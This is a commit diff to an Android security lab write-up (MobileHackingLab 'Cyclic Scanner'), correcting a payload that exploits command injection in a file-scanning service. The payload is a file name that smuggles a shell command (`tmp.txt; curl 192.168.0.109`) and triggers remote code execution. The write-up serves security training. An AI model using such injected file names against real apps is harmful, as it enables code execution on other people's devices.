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thanks Faruk Arslan for pointing out the typo in the payload
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Bernasv committed Apr 16, 2024
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Expand Up @@ -374,7 +374,7 @@ Herein lies a critical discovery: within the `scanFile` function, there exists a

### Exploiting the Application

To exploit this vulnerability, simply activate the service by toggling the switch. The service will commence scanning through files. All that's required is to have a file on the device named `tmp.txt; curl http://192.168.0.109`, triggering the desired code execution.
To exploit this vulnerability, simply activate the service by toggling the switch. The service will commence scanning through files. All that's required is to have a file on the device named `tmp.txt; curl 192.168.0.109`, triggering the desired code execution.

Start the server:

Expand All @@ -390,4 +390,4 @@ Now, launch the application, and we'll observe the connection confirming the rem

### Conclusion

This lab underscores the mechanics of Android services and how they can be exploited by attackers to achieve remote code execution. A vulnerable handler within a service can compromise a device. For hands-on experience with these concepts, visit the [MobileHackingLab - Cyclic Scanner](https://www.mobilehackinglab.com/course/lab-cyclic-scanner) lab, where you can embark on a journey to bolster your expertise in mobile security.
This lab underscores the mechanics of Android services and how they can be exploited by attackers to achieve remote code execution. A vulnerable handler within a service can compromise a device. For hands-on experience with these concepts, visit the [MobileHackingLab - Cyclic Scanner](https://www.mobilehackinglab.com/course/lab-cyclic-scanner) lab, where you can embark on a journey to bolster your expertise in mobile security.

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